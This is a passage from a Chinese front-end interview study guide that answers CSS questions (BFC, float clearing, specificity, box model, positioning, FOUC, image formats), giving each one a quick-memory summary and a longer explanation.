  • 修改具有常规流的元素的display属性通常会导致文档重排(重新计算元素的位置和大小)。而修改visibility属性只会导致本元素的重绘(重新绘制元素的可见部分)。
  • 读屏器(屏幕阅读软件)不会读取display: none;元素的内容,但会读取visibility: hidden;元素的内容。

综上所述,display: none;和visibility: hidden;虽然都可以使元素不可见,但在元素在渲染树中的位置、对子孙节点的影响、性能方面有所不同。选择使用哪种方式取决于具体的需求和场景。

# 3 link与@import的区别

⚡ 30 秒速记

  • link 是 HTML 标签,@import 是 CSS 语法,只能写在样式表顶部
  • 加载时机:link 在解析 HTML 时并行加载;@import 要等所属 CSS 下载解析完才开始,多一次串行往返
  • link 能被 JS 操作(document.styleSheets、动态插入),@import 不行
  • link 还能设 media、rel=preload、crossorigin,@import 只有 media 和 supports 条件
  • 结论:性能敏感场景一律用 link;@import 只在构建期由 Sass/PostCSS 处理掉,别留到运行时

<link> 是 HTML 标签,@import 是写在样式表规则之前的 CSS 语法。 浏览器解析页面时可以并行下载多个 <link> 样式表,而 @import 要等所属样式表加载后再按顺序处理,更容易拖慢样式生效。<link> 还支持 rel="alternate stylesheet" 等属性,兼容性和使用方式也更灵活。实际项目里我一般用 <link> 引入外部样式,避免运行时依赖 @import。

  1. <link>是HTML方式,@import是CSS方式。<link>标签在HTML文档的<head>部分中使用,用于引入外部CSS文件;@import是在CSS文件中使用,用于引入其他CSS文件。
  2. <link>标签最大限度地支持并行下载,浏览器会同时下载多个外部CSS文件;而@import引入的CSS文件会导致串行下载,浏览器会按照顺序逐个下载CSS文件,这可能导致页面加载速度变慢,出现FOUC(Flash of Unstyled Content)问题。
  3. <link>标签可以通过rel="alternate stylesheet"指定候选样式表,用户可以在浏览器中切换样式;而@import不支持rel属性,无法提供候选样式表功能。
  4. 浏览器对<link>标签的支持早于@import,一些古老的浏览器可能不支持@import方式引入CSS文件,而可以正确解析<link>标签。
  5. @import必须出现在样式规则之前,而且只能在CSS文件的顶部引用其他文件;而<link>标签可以放置在文档的任何位置。
  6. 总体来说,<link>标签在性能、兼容性和灵活性方面优于@import。

因此,在实际使用中,推荐使用<link>标签来引入外部CSS文件。

# 4 什么是FOUC?如何避免

⚡ 30 秒速记

  • FOUC = Flash of Unstyled Content,页面先闪一下没样式的裸 HTML 再套上样式
  • 成因:CSS 加载晚于 HTML 渲染 —— 典型是把 <link> 写在 body 里、或用 @import 导致串行加载
  • 解法:CSS 放 head 里用 link 引入,让它阻塞首次渲染(这里"阻塞"是好事)
  • 现代场景更常见的是 FOUT/FOIT(字体闪烁):用 font-display: swap + 字体预加载 + 本地兜底字体
  • SSR 项目还要注意关键 CSS 内联,避免首屏等外链样式

FOUC 是页面先显示无样式内容,等外部 CSS 生效后又突然切换样式的闪烁现象。 本质上是内容已经开始渲染,但样式表下载或解析得更晚,所以应把 <link> 放进 <head>,让浏览器尽早处理。首屏关键样式可以内联,也可以预加载外部样式,并通过减少文件数量和体积缩短等待时间。媒体查询则适合按条件加载样式,避免下载当前场景用不到的内容。

FOUC(Flash Of Unstyled Content)指的是在页面加载过程中,由于外部样式表(CSS)加载较慢或延迟,导致页面先以无样式的方式显示,然后突然闪烁出样式的现象。

为了避免FOUC,可以采取以下方法:

  1. 将样式表放置在文档的<head>标签中:通过将样式表放在文档头部,确保浏览器在渲染页面内容之前先加载和解析样式表,从而避免了页面一开始的无样式状态。
  2. 使用内联样式:将关键的样式直接写在HTML标签的style属性中,这样即使外部样式表加载延迟,页面仍然可以有基本的样式展示,避免出现完全无样式的情况。
  3. 使用样式预加载:在HTML的<head>中使用<link rel="preload">标签,将样式表提前预加载,以确保在页面渲染之前样式表已经下载完毕。
  4. 避免过多的样式表和样式文件:减少页面中使用的样式表数量和样式文件大小,优化样式表的结构和规则,从而加快样式表的加载速度。
  5. 使用媒体查询避免不必要的样式加载:通过媒体查询(@media)在适当的条件下加载特定的样式,避免在不需要的情况下加载不必要的样式。

综上所述,通过优化样式加载顺序、使用内联样式、样式预加载和合理使用媒体查询等方法,可以有效避免FOUC的出现,提供更好的用户体验。

# 5 如何创建块级格式化上下文(block formatting context),BFC有什么用

⚡ 30 秒速记

  • 定义:BFC 是一块独立的布局区域,内部布局不影响外部
  • 三个可见后果:不与浮动元素重叠(两栏布局)、计算高度时包含浮动子元素(清浮动)、内部 margin 不与外部合并(防塌陷)
  • 触发方式记四个够用:overflow 非 visible、display:flow-root、float 非 none、position:absolute/fixed
  • flex / grid 容器的子项也自带独立格式化上下文
  • 首选 display:flow-root —— 它就是为触发 BFC 而生的,没有 overflow:hidden 那种裁剪副作用

BFC 是相对独立的块级布局区域,常用来包含浮动、避开浮动元素,以及控制外边距折叠。 常见触发方式包括 float 非 none、overflow 非 visible、position: absolute/fixed,以及 display: flow-root。父元素创建 BFC 后会把浮动子元素计入高度,兄弟元素创建 BFC 后也不会覆盖浮动区域。实际开发更推荐 display: flow-root,因为 overflow: hidden 还可能裁剪溢出内容。

BFC(Block Formatting Context),块级格式化上下文,是一个独立的渲染区域,让处于 BFC 内部的元素与外部的元素相互隔离,使内外元素的定位不会相互影响

要创建一个块级格式化上下文(BFC),可以应用以下方法:

  1. 使用float属性:将元素的float属性设置为除none以外的值,可以创建一个BFC。
  2. 使用overflow属性:将元素的overflow属性设置为除visible以外的值,例如auto或hidden,可以创建一个BFC。
  3. 使用display属性:将元素的display属性设置为inline-block、table-cell、table-caption等特定的值,可以创建一个BFC。
  4. 使用position属性:将元素的position属性设置为absolute、fixed、relative或sticky,可以创建一个BFC。
  5. 使用contain属性:将元素的contain属性设置为layout,可以创建一个BFC(仅适用于部分浏览器)。

在IE下, Layout,可通过zoom:1 触发

BFC布局与普通文档流布局区别 普通文档流布局:

  • 浮动的元素是不会被父级计算高度
  • 非浮动元素会覆盖浮动元素的位置
  • margin会传递给父级元素
  • 两个相邻元素上下的margin会重叠

BFC布局规则:

  • 浮动的元素会被父级计算高度(父级元素触发了BFC)
  • 非浮动元素不会覆盖浮动元素的位置(非浮动元素触发了BFC)
  • margin不会传递给父级(父级触发BFC)
  • 属于同一个BFC的两个相邻元素上下margin会重叠

开发中的应用

  • 阻止margin重叠
  • 可以包含浮动元素 —— 清除内部浮动(清除浮动的原理是两个 div都位于同一个 BFC 区域之中)
  • 自适应两栏布局
  • 可以阻止元素被浮动元素覆盖

# 6 display、float、position的关系

⚡ 30 秒速记

  • 优先级:position 为 absolute/fixed 时,float 被强制变成 none,display 被"块级化"
  • 其次 float 非 none 时,display 也会被块级化(inline 变 block)
  • 都没有时,display 按你写的值生效
  • "块级化"的具体映射:inline → block、inline-block → block、inline-table → table,其余不变
  • 一句话记:绝对定位和浮动都会让元素脱离常规流,脱流的元素必须是块级盒子

position、float 会影响 display 的最终计算结果,其中绝对定位的处理优先于浮动。 当 display: none 时元素不生成盒子,另外两个属性自然不起作用;当 position 为 absolute 或 fixed 时,float 会计算为 none,盒子同时被块级化。没有绝对定位但 float 非 none 时,盒子同样会块级化,例如 inline 会按 block 处理。根元素也会调整 display,其余情况下才按声明值正常生效。

  • 如果display取值为none,那么position和float都不起作用,这种情况下元素不产生框
  • 否则,如果position取值为absolute或者fixed,框就是绝对定位的,float的计算值为none,display根据下面的表格进行调整。
  • 否则,如果float不是none,框是浮动的,display根据下表进行调整
  • 否则,如果元素是根元素,display根据下表进行调整
  • 其他情况下display的值为指定值
  • 总结起来:绝对定位、浮动、根元素都需要调整display

综上所述,display、float和position之间存在一定的关系,它们的取值会相互影响元素的布局和显示方式。根据不同的取值组合,元素的display值可能会被调整。

# 7 清除浮动的几种方式,各自的优缺点

⚡ 30 秒速记

  • 伪元素法(推荐):.clearfix::after { content:''; display:block; clear:both } —— 不加多余标签,兼容性好
  • 触发 BFC:父元素加 overflow:hidden(可能裁掉内容)或 display:flow-root(最干净,专为此设计)
  • 空 div 加 clear:both:能用但污染结构,不要写
  • 父元素定高:只适用于高度已知的场景,不灵活
  • 今天的真实答案:布局用 Flex 或 Grid,压根不会产生浮动塌陷。清浮动是维护老项目才用得上的技能

清除浮动常用伪元素、父级设置 overflow:hidden,也可以追加带 clear:both 的空元素。 伪元素或 clearfix 不增加多余标签,清除效果较好,但兼容老浏览器时要配合 zoom:1。overflow:hidden 写法简单,却可能把溢出内容裁掉;空 div 或 br 容易理解,但会污染结构。父级定高或一起浮动也能解决,不过前者要求高度已知,后者还要定义宽度,灵活性较差。

以下是清除浮动的几种常见方式以及它们的优缺点:

  1. 父级 div 定义 height: 将父级容器的高度设置为已浮动元素的高度。优点是简单易实现,缺点是需要提前知道浮动元素的高度,如果高度发生变化,需要手动调整。
  2. 结尾处加空 div 标签 clear:both: 在浮动元素后面添加一个空的 div 标签,并设置 clear:both。优点是简单易实现,缺点是需要添加多余的空标签,不符合语义化。
  3. 父级 div 定义伪类 :after 和 zoom: 父级容器使用伪元素 :after 清除浮动,并设置 zoom:1 触发 hasLayout。优点是不需要额外添加多余的标签,清除浮动效果好,缺点是对老版本浏览器的兼容性需要考虑。
  4. 父级 div 定义 overflow:hidden: 将父级容器的 overflow 属性设置为 hidden。优点是简单易实现,不需要添加额外的标签,缺点是可能会造成内容溢出隐藏。
  5. 父级 div 也浮动,需要定义宽度: 将父级容器也设置为浮动,并定义宽度。优点是清除浮动效果好,缺点是需要定义宽度,不够灵活。
  6. 结尾处加 br 标签 clear:both: 在浮动元素后面添加 br 标签,并设置 clear:both。和第2种方式类似,优缺点也相似。
  7. 使用 clearfix 类: 在父级容器上应用 clearfix 类,该类包含伪元素清除浮动。优点是代码简洁易懂,不需要额外添加标签,缺点是需要定义并引用 clearfix 类。

总体而言,使用伪类 :after 和 zoom 的方式是较为常见和推荐的清除浮动的方法,它可以避免添加多余的标签,并具有较好的兼容性。然而,不同场景下适合使用不同的清除浮动方式,需要根据实际情况选择合适的方法。

# 8 为什么要初始化CSS样式?

⚡ 30 秒速记

  • 各浏览器对同一标签的默认样式不一致(margin、padding、字号、列表符号),不抹平就会出现跨浏览器差异
  • 三种做法:Reset(全部清零,如 Eric Meyer reset)、Normalize(保留有用的默认值只抹平差异)、现代 CSS reset(如 Josh Comeau 那套)
  • 现在主流是 Normalize 或轻量自定义 reset,不建议无脑全清 —— 清光了语义标签的默认表现反而伤可访问性
  • Tailwind 自带 Preflight(基于 Normalize 改的),用了框架就别再叠一份 reset
  • 必做的三条:box-sizing: border-box、图片 display:block + max-width:100%、去掉 body 默认 margin

初始化 CSS 是为了抹平浏览器默认样式的差异,让页面从统一、可控的基础样式开始。 不同浏览器对元素的默认外观可能不同,不处理就容易出现显示偏差,也会增加后续覆盖和调整样式的成本。统一基础样式后,界面风格更容易保持一致,代码的可读性和维护性也会更好。实际使用时要控制初始化范围,可以选择现成的初始化库或自行定义,避免过度清理带来代码冗余。

初始化 CSS 样式的目的主要有以下几点:

  1. 浏览器兼容性: 不同浏览器对于 HTML 元素的默认样式存在差异,通过初始化 CSS 样式,可以尽量消除不同浏览器之间的显示差异,使页面在各个浏览器中更加一致。
  2. 统一样式: 通过初始化 CSS 样式,可以为各个元素提供一个统一的基础样式,避免默认样式的影响。这有助于开发者在项目中构建一致的界面风格,提高开发效率。
  3. 提高可维护性: 初始化 CSS 样式可以避免在编写具体样式时受到浏览器默认样式的干扰,减少不必要的样式覆盖和调整,从而提高代码的可维护性和可读性。
  4. 优化性能: 通过初始化 CSS 样式,可以避免不必要的样式计算和渲染,减少浏览器的工作量,提升页面加载和渲染性能。

需要注意的是,在进行 CSS 样式初始化时,应该注意选择合适的方式和范围,避免过度初始化造成不必要的代码冗余和性能损耗。同时,针对具体项目和需求,可以选择使用已有的 CSS 初始化库或者自定义初始化样式。

# 9 css3有哪些新特性

⚡ 30 秒速记

  • 选择器:属性选择器、结构伪类 nth-child、:not()、伪元素双冒号
  • 盒模型与布局:box-sizing、Flexbox、Grid、多列布局
  • 视觉:圆角、阴影、渐变、多背景、透明度 rgba
  • 变换与动画:transform、transition、animation/@keyframes
  • 响应式:媒体查询 @media、rem/vw 单位
  • 现在更该提的"新"特性:CSS 变量、:is()/:where()/:has()、容器查询 @container、aspect-ratio、gap、clamp()、逻辑属性
  • 答题技巧:CSS3 这个说法已经过时了(CSS 现在按模块独立演进,没有版本号),能点出这一点是加分项

CSS3 的新特性可以归为选择器与响应式布局、视觉效果、变换和动画这几类。 选择器增加了 :nth-child()、:not() 等伪类,配合 @media、flex 和多列布局,可以更灵活地选择元素并适配不同屏幕。视觉层面提供了 border-radius、渐变、阴影和 rgba(),很多效果不再依赖图片。交互效果则主要靠 transform、transition、@keyframes 和 animation,分别处理变换、过渡与完整动画。

CSS3引入了许多新特性,以下是其中一些常见的新特性:

  1. 新增选择器:例如:nth-child()、:first-of-type、:last-of-type等,可以根据元素在父元素中的位置进行选择。
  2. 弹性盒模型:通过display: flex;可以创建弹性布局,简化了元素的排列和对齐方式。
  3. 多列布局:使用column-count和column-width等属性可以实现将内容分为多列显示。
  4. 媒体查询:通过@media可以根据设备的特性和屏幕大小应用不同的样式规则。
  5. 个性化字体:使用@font-face可以引入自定义字体,并在网页中使用。
  6. 颜色透明度:通过rgba()可以设置颜色的透明度。
  7. 圆角:使用border-radius可以给元素添加圆角效果。
  8. 渐变:使用linear-gradient()可以创建线性渐变背景效果。
  9. 阴影:使用box-shadow可以为元素添加阴影效果。
  10. 倒影:使用box-reflect可以为元素添加倒影效果。
  11. 文字装饰:使用text-stroke-color可以设置文字描边的颜色。
  12. 文字溢出:使用text-overflow可以处理文字溢出的情况。
  13. 背景效果:使用background-size可以控制背景图片的大小。
  14. 边框效果:使用border-image可以为边框使用图片来创建特殊效果。
  15. 转换:使用transform可以实现元素的旋转、倾斜、位移和缩放等变换效果。
  16. 平滑过渡:使用transition可以为元素的属性变化添加过渡效果。
  17. 动画:通过@keyframes和animation可以创建元素的动画效果。

CSS3引入了许多新的伪类,以下是一些常见的新增伪类:

  1. :nth-child(n):选择父元素下的第n个子元素。
  2. :first-child:选择父元素下的第一个子元素。
  3. :last-child:选择父元素下的最后一个子元素。
  4. :nth-of-type(n):选择父元素下特定类型的第n个子元素。
  5. :first-of-type:选择父元素下特定类型的第一个子元素。
  6. :last-of-type:选择父元素下特定类型的最后一个子元素。
  7. :only-child:选择父元素下仅有的一个子元素。
  8. :only-of-type:选择父元素下特定类型的唯一一个子元素。
  9. :empty:选择没有任何子元素或者文本内容的元素。
  10. :target:选择当前活动的目标元素。
  11. :enabled:选择可用的表单元素。
  12. :disabled:选择禁用的表单元素。
  13. :checked:选择被选中的单选框或复选框。
  14. :focus:选择当前获取焦点的元素。
  15. :hover:选择鼠标悬停在上方的元素。
  16. :visited:选择已访问过的链接。
  17. :not(selector):选择不符合给定选择器的元素。

这些新增的伪类为选择元素提供了更多的灵活性和精确性,使得开发者能够更好地控制和样式化文档中的元素。

# 10 display有哪些值?说明他们的作用

⚡ 30 秒速记

  • 常用:none、block、inline、inline-block、flex、inline-flex、grid、inline-grid、table 系列、list-item
  • inline-block = 能设宽高(block 的特性)+ 不独占一行(inline 的特性)
  • flow-root:生成一个独立 BFC,专门用来清浮动,没有 overflow:hidden 的裁剪副作用
  • contents:元素自身的盒子消失,子元素直接参与父级布局 —— Flex/Grid 里调层级很有用,但会破坏无障碍语义,慎用
  • 现代规范其实是双值语法 display: block flow / inline flow-root,单值写法是它的简写

display 常见值有 block、inline、inline-block、none、list-item、table 和 inherit,用于决定元素生成什么类型的盒子。 block 独占一行并可设置宽高,inline 随内容排列且不能按块级方式设置宽高,inline-block 则兼顾两者特点。none 会让元素完全不参与渲染,也不占空间;list-item 和 table 分别按列表项、块级表格显示。需要沿用父元素的框类型时可以使用 inherit,具体选择取决于页面的布局需求。

display属性用于定义元素应该生成的框类型。以下是常见的display属性值及其作用:

  1. block:将元素转换为块状元素,独占一行,可设置宽度、高度、边距等属性。
  2. inline:将元素转换为行内元素,不独占一行,只占据内容所需的空间,无法设置宽度、高度等块级属性。
  3. none:设置元素不可见,在渲染时将其完全隐藏,不占据任何空间。
  4. inline-block:使元素既具有行内元素的特性(不独占一行),又具有块级元素的特性(可设置宽度、高度等属性),可以看作是行内块状元素。
  5. list-item:将元素作为列表项显示,常用于有序列表(<ol>)和无序列表(<ul>)中,会添加列表标记。
  6. table:将元素作为块级表格显示,常用于构建表格布局,类似于<table>元素。
  7. inherit:规定应从父元素继承display属性的值,使元素继承父元素的框类型。

这些display属性值用于控制元素的外观和布局,通过选择适当的值可以实现不同的布局效果。

# 11 介绍一下标准的CSS的盒子模型?低版本IE的盒子模型有什么不同的?

⚡ 30 秒速记

  • 盒子由内到外四层:content → padding → border → margin
  • 标准盒模型 content-box:width 只算内容区,实际占位 = width + padding×2 + border×2
  • IE 怪异盒模型 border-box:width 包含 padding 和 border,实际占位就等于 width
  • 用 box-sizing 切换,现代项目基本全局设 border-box
  • 为什么全局设 border-box:改 padding 不会撑破布局,百分比宽度 + padding 的三栏布局才不会塌

盒模型从内到外由 content、padding、border 和 margin 组成,标准盒模型与低版本 IE 怪异盒模型的区别在于宽高计算范围。 标准的 content-box 中,声明的 width 只表示内容区,元素总宽度还要加上内边距、边框和外边距。怪异模型的 width 已包含内容、内边距和边框,总占位只需再算外边距。现代浏览器可用 box-sizing: border-box 获得这种计算方式,我一般在响应式布局或网格系统中使用它,让尺寸更容易控制。

  • 有两种,IE盒子模型、W3C盒子模型;
  • 盒模型:内容(content)、填充(padding)、边界(margin)、 边框(border);
  • 区 别: IE的content部分把border和padding`计算了进去;
  • 盒子模型构成:内容(content)、内填充(padding)、 边框(border)、外边距(margin)
  • IE8及其以下版本浏览器,未声明 DOCTYPE,内容宽高会包含内填充和边框,称为怪异盒模型(IE盒模型)
  • 标准(W3C)盒模型:元素宽度 = width + padding + border + margin
  • 怪异(IE)盒模型:元素宽度 = width + margin
  • 标准浏览器通过设置 css3 的 box-sizing: border-box 属性,触发“怪异模式”解析计算宽高

box-sizing 常用的属性有哪些?分别有什么作用

box-sizing属性用于控制元素的盒模型类型,常用的属性值有:

  1. content-box:默认值,使用标准的W3C盒模型,元素的宽度和高度仅包括内容区域(content),不包括填充、边框和外边距。
  2. border-box:使用怪异的IE盒模型,元素的宽度和高度包括内容区域(content)、填充(padding)和边框(border),但不包括外边距(margin)。即元素的宽度和高度指定的是内容区域加上填充和边框的总宽度和高度。
  3. inherit:继承父元素的box-sizing属性值。

通过设置不同的box-sizing属性值,可以控制元素的盒模型类型,进而影响元素的布局和尺寸计算。使用border-box可以更方便地处理元素的宽度和高度,特别适合响应式布局和网格系统的设计。

# 12 CSS优先级算法如何计算?

⚡ 30 秒速记

  • 权重是 (a, b, c) 三元组:a = id 数、b = 类/属性/伪类数、c = 元素/伪元素数
  • 从左往右逐位比较,高位一票否决低位 —— 256 个 class 也赢不了 1 个 id,不存在"进位"
  • 三元组之上还有两层:!important > 内联样式 > 普通规则
  • 完全相等时,后写的覆盖先写的
  • :not() / :is() / :has() 自身不计权重,但括号里的参数计;:where() 则把权重强制归零,做样式库默认值很好用

CSS 优先级通常按 !important、内联样式、ID 选择器、类或属性及伪类选择器、元素及伪元素选择器的顺序比较。 同一层级中,选择器权重更高的规则会生效;如果权重相同,则后出现的声明覆盖前面的声明。可继承属性还可能从父元素传给子元素,但继承值不会直接胜过命中当前元素的规则。工程中应谨慎使用 !important,因为它虽然能快速覆盖样式,却会提高后续维护和再次覆盖的难度。

CSS优先级是用于确定当多个样式规则应用到同一个元素时,哪个样式规则会被应用的一种规则。优先级的计算基于选择器的权重。

以下是CSS优先级计算的一般规则:

  1. !important:样式规则使用了!important标记,具有最高优先级,无论其位置在哪里。
  2. 内联样式:直接应用在元素上的style属性具有较高的优先级。
  3. ID选择器:使用ID选择器的样式规则具有较高的优先级。例如,#myElement。
  4. 类选择器、属性选择器和伪类选择器:使用类选择器(例如.myClass)、属性选择器(例如[type="text"])和伪类选择器(例如:hover)的样式规则的优先级较低于ID选择器。
  5. 元素选择器和伪元素选择器:使用元素选择器(例如div)和伪元素选择器(例如::before)的样式规则的优先级较低于类选择器、属性选择器和伪类选择器。

当存在多个样式规则具有相同的优先级时,会根据以下规则进行决定:

  • 就近原则:当同一元素上存在多个具有相同优先级的样式规则时,最后出现的样式规则将被应用。
  • 继承:某些样式属性可以被子元素继承,如果父元素具有样式规则,子元素将继承该样式。

需要注意的是,以上规则仅适用于一般情况,有些情况下可能存在更复杂的优先级计算。同时,使用!important应该谨慎,过度使用!important可能导致样式管理困难和维护问题。

# 13 对BFC规范的理解?

⚡ 30 秒速记

  • 与第 5 题同一考点,答案见上面那题的速记卡和交互演示
  • 一句话:BFC 是独立的布局区域,内部布局不影响外部
  • 三个后果:不与浮动重叠、计算高度包含浮动子元素、内部 margin 不与外部合并
  • 触发:overflow 非 visible、display:flow-root、float 非 none、position:absolute/fixed
  • 除 BFC 外还有 IFC(行内)、FFC(flex)、GFC(grid),能顺带提一句显得体系完整

BFC 是一个独立的块级格式化上下文,用来约束内部盒子的布局,并隔离它们对外部布局的影响。 它可以由非 none 的 float、absolute 或 fixed 定位、部分特殊 display 值,以及特定的 overflow 设置触发。BFC 不会与浮动元素重叠,也能把内部浮动元素计入自身高度;其边界还可阻止内外边距合并,不过内部相邻块的垂直外边距仍可能合并。实际布局中,它常用于处理父元素高度塌陷、自适应两栏布局或边距重叠问题。

  • 一个页面是由很多个 Box 组成的,元素的类型和 display 属性,决定了这个 Box 的类型
  • 不同类型的 Box,会参与不同的 Formatting Context(决定如何渲染文档的容器),因此Box内的元素会以不同的方式渲染,也就是说BFC内部的元素和外部的元素不会互相影响

BFC(Block Formatting Context)是CSS中的一种渲染规范,用于决定和控制元素在文档中的布局和渲染方式。BFC定义了一个独立的渲染区域,使得处于不同BFC内部的元素相互隔离,互不影响。

以下是对BFC规范的一些理解:

  1. BFC的创建条件:触发BFC的条件包括元素的float属性不为none、position属性为absolute或fixed、display属性为inline-block、table-cell、table-caption等,以及通过特定的CSS属性(如overflow)进行触发。
  2. BFC的特性:
    • 内部的块级盒子会在垂直方向上一个接一个地放置。
    • 相邻的两个块级盒子的垂直外边距会发生合并。
    • BFC的区域不会与浮动元素重叠。
    • BFC在页面布局时会考虑浮动元素。
    • BFC可以包含浮动元素,并计算其高度。
    • BFC的边界会阻止边距重叠。
  3. BFC的应用:
    • 清除浮动:创建一个父级元素成为BFC,可以清除其内部浮动的影响,避免父元素塌陷。
    • 创建自适应的两栏布局:通过将两个列容器设置为BFC,可以避免它们相互影响。
    • 阻止边距重叠:当两个相邻元素的边距发生重叠时,将其中一个元素设置为BFC,可以解决边距重叠问题。

总的来说,BFC规范通过创建独立的渲染上下文,使得元素的布局和渲染更加可控,避免了一些常见的布局问题和冲突。它在清除浮动、解决边距重叠等方面具有重要的应用价值。

# 14 谈谈浮动和清除浮动

⚡ 30 秒速记

  • float 的本意是做文字环绕图片,被拿来当布局工具是历史误用
  • 浮动元素脱离常规流,但仍占据行盒空间 —— 所以文字会绕着它排
  • 副作用:父元素高度塌陷(不计算浮动子元素高度)
  • 清除方式见第 7 题:伪元素 clearfix 或触发 BFC
  • 今天的结论:布局用 Flex/Grid,float 只在需要文字环绕时才用

浮动通过 float: left 或 float: right 让元素脱离正常文档流并靠向包含块一侧,周围内容会围绕它排布。 因为浮动元素不再占据常规流空间,父元素可能无法获得其高度,后续元素也可能出现重叠等布局问题。清除影响时,可以在后面放置设置 clear: both 的块元素,也可以让父元素通过 overflow: auto、overflow: hidden 触发 BFC。工程中更常用 ::after 配合 clearfix,既能包含浮动,又不必额外添加无语义的空元素。

浮动(float)是CSS中的一种布局方式,它允许元素向左或向右浮动并脱离文档的正常流,其他元素会围绕浮动元素进行布局。

浮动的特点和应用:

  1. 元素浮动后,其原位置会被其他元素填充,不再占据文档流中的空间。
  2. 浮动元素会尽可能地靠近其包含块的左侧或右侧,直到遇到另一个浮动元素或包含块的边界。
  3. 浮动元素可以通过设置float属性为left或right进行左浮动或右浮动。
  4. 常见应用包括实现多列布局、文字环绕图片等。

清除浮动(clear float)是为了解决浮动元素带来的影响和布局问题而采取的措施。

浮动元素会导致其父元素的高度塌陷(父元素无法检测到浮动元素的高度),以及其他元素可能与浮动元素重叠。为了解决这些问题,可以使用清除浮动的方法:

  1. 空元素清除浮动:在浮动元素后面添加一个空的块级元素,并设置其clear属性为both,使其在浮动元素下方换行,达到清除浮动的效果。
  2. 父级元素使用overflow属性:给包含浮动元素的父元素设置overflow属性为auto或hidden,可以触发BFC(块格式化上下文),从而包含浮动元素。
  3. 使用伪元素清除浮动:使用::after伪元素给包含浮动元素的父元素添加一个清除浮动的样式,例如设置content为空字符串、display为table等。
  4. 使用clearfix类:给包含浮动元素的父元素添加一个clearfix类,该类定义了清除浮动的样式,例如设置clearfix类的::after伪元素清除浮动。

需要注意的是,清除浮动的方法应当适用于具体的布局需求和兼容性考虑。同时,清除浮动可能会影响到其他样式的布局,因此需要综合考虑和测试。

# 15 position的值, relative和absolute定位原点是

⚡ 30 秒速记

  • static(默认,不定位)、relative、absolute、fixed、sticky
  • relative:相对自己原来的位置偏移,原位置仍占空间,不脱离文档流
  • absolute:相对最近的"已定位祖先"(position 非 static),都没有就相对初始包含块,脱离文档流
  • fixed:相对视口。注意坑 —— 祖先有 transform / filter / will-change 时,fixed 会退化成相对该祖先定位
  • sticky:跨界前是 relative,跨过阈值后表现为 fixed,必须写 top/bottom 之一才生效,且父元素不能有 overflow:hidden

position 常用值有 static、relative、absolute、fixed 和 sticky,其中 relative 相对自身原位置定位,absolute 相对最近的已定位祖先定位。 relative 偏移后仍保留原来的空间,不会脱离文档流。absolute 会脱离文档流;找不到 position 非 static 的祖先时,就以初始包含块为基准。fixed 通常相对视口,而 sticky 需要配合 top 或 bottom 等阈值使用。

position 属性用于控制元素的定位方式,常用的取值包括:

  • static:默认值,表示元素在文档流中正常定位,不会受到 top、right、bottom、left 属性的影响。
  • relative:生成相对定位的元素,相对于其正常位置进行定位,通过设置 top、right、bottom、left 属性来调整元素的位置,不会脱离文档流,周围的元素仍然会按照正常布局进行排列。
  • absolute:生成绝对定位的元素,相对于最近的非 static 定位的父元素进行定位,如果没有非 static 定位的父元素,则相对于文档根元素(即浏览器窗口)进行定位。绝对定位的元素会脱离文档流,不占据空间,可以通过设置 top、right、bottom、left 属性来精确控制元素的位置。
  • fixed:生成绝对定位的元素,相对于浏览器窗口进行定位,不会随着页面的滚动而改变位置。可以通过设置 top、right、bottom、left 属性来指定元素的位置。
  • inherit:规定从父元素继承 position 属性的值。

对于 relative 和 absolute 定位,其原点(坐标基准点)是元素在正常文档流中的位置。通过调整 top、right、bottom、left 属性,可以相对于原点在水平和垂直方向上进行偏移,实现元素的精确定位。

# 16 display:inline-block 什么时候不会显示间隙?

⚡ 30 秒速记

  • 间隙的成因:HTML 源码里标签之间的换行和空格被当成一个空白字符渲染了,不是 CSS 的锅
  • 消除方法(按推荐度):父元素用 Flex/Grid 布局(根本不产生间隙)
  • 父元素 font-size: 0,子元素再设回自己的字号
  • 标签之间不留空白(写成一行,或用注释 --><!-- 填住换行)
  • 子元素 margin-right: -4px(脆弱,依赖字号,不推荐)
  • 面试时先点出"这是空白符渲染问题不是 CSS bug",比背方法列表加分

相邻的 inline-block 标签之间没有空白字符时,通常就不会显示那段间隙。 本质上是源码里的空格或换行被当作行内空白渲染,并不是元素自动生成了外边距。工程中可以删除标签间空白,或者把父元素设为 font-size: 0,再给子元素恢复字号。负 margin、letter-spacing 或 word-spacing 也能抵消,但数值依赖字体和布局,维护起来更脆弱。

display: inline-block 元素在默认情况下会产生间隙,这是因为它们被视为行内元素,会保留默认的行框高度和基线对齐。然而,可以采取一些方法来消除这些间隙,使元素紧密排列,例如在携程网站中的布局。

以下是一些消除间隙的常见方法:

  1. 移除空格:在 HTML 代码中,将 inline-block 元素之间的空格删除,以消除间隙。
  2. 使用负值 margin:通过设置负值的左右外边距(margin)来抵消间隙。例如,可以使用 margin-right: -4px; 来消除间隙。
  3. 使用 font-size: 0;:将 inline-block 元素的父元素的字体大小设置为 0,然后在 inline-block 元素上重新设置所需的字体大小。这样可以消除间隙,因为元素内部没有文字导致的间隙。
  4. 使用 letter-spacing:在 inline-block 元素的父元素上设置负值的 letter-spacing,例如 letter-spacing: -4px;,可以消除间隙。
  5. 使用 word-spacing:在 inline-block 元素的父元素上设置负值的 word-spacing,例如 word-spacing: -4px;,可以消除间隙。

这些方法都是通过调整元素的布局或字体属性来实现消除间隙的效果。具体的方法选择取决于实际需求和布局要求。

# 17 PNG\GIF\JPG的区别及如何选

⚡ 30 秒速记

  • JPEG:有损压缩、不支持透明、适合照片和色彩渐变丰富的图
  • PNG:无损、支持 alpha 透明。PNG-8 最多 256 色体积小,PNG-24/32 真彩色但体积大,适合图标和需要透明的图
  • GIF:256 色、支持简单动画和索引透明,画质差体积大,基本被淘汰
  • 现代选型:照片用 AVIF/WebP(保留 JPEG 兜底),图标用 SVG,动图用 <video> 而不是 GIF
  • 落地写法:<picture> + <source type> 让浏览器自己挑第一个支持的格式

照片和复杂图像通常选 JPG,需要透明背景时选 PNG,需要简单动画时可以选 GIF。 JPG 支持丰富颜色并采用有损压缩,可以在画质和体积之间取舍,但不支持透明。PNG 使用无损压缩,PNG-8 最多支持 256 色,真彩色 PNG 支持完整的 alpha 透明,不过文件通常更大。GIF 同样最多支持 256 色,支持简单循环动画和有限透明,更适合颜色较少的动态图。

PNG, GIF, 和 JPG 是常见的图像文件格式,它们在以下方面有所区别:

  1. GIF (Graphics Interchange Format)

    • 使用 8 位像素,最多支持 256 种颜色。
    • 采用无损压缩算法,不会损失图像质量。
    • 支持简单的动画功能,可以创建循环播放的图像。
    • 支持二进制透明和索引透明,可以实现简单的透明效果。
    • 适用于图标、简单的动画和带有透明背景的图像。
  2. JPEG (Joint Photographic Experts Group)

